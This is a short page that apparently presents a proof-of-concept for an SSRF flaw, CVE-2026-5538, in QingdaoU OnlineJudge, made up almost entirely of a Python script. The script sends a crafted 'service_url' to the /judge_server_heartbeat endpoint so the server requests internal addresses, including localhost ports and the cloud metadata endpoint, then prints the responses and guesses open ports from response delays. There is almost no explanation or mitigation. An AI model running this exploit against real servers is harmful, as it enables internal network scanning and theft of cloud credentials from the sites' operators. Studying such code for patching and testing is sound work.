CVE-2026-5538: QingdaoU OnlineJudge SSRF漏洞

import requests def poc_ssrf(target_url, internal_url): """ PoC for CVE-2026-5538: QingdaoU OnlineJudge SSRF """ endpoint = "/judge_server_heartbeat" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-5538-Scanner/1.0" } # Payload containing the internal URL to be accessed by the server payload = { "service_url": internal_url, # e.g., "http://127.0.0.1:22" or "http://169.254.169.254/latest/meta-data/" "token": "valid_or_placeholder_token" # Authentication token if required } try: response = requests.post(target_url + endpoint, json=payload, headers=headers, timeout=10) print(f"[+] Request sent to {target_url}") print(f"[+] Targeted internal URL: {internal_url}") print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Content: {response.text[:200]}...") if response.elapsed.total_seconds() > 2: print("[!] Possible timeout, indicating the port might be open (filtering)") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://example-onlinejudge.com" # Example attack vector: attempting to access localhost internal_target = "http://127.0.0.1:80" poc_ssrf(target, internal_target)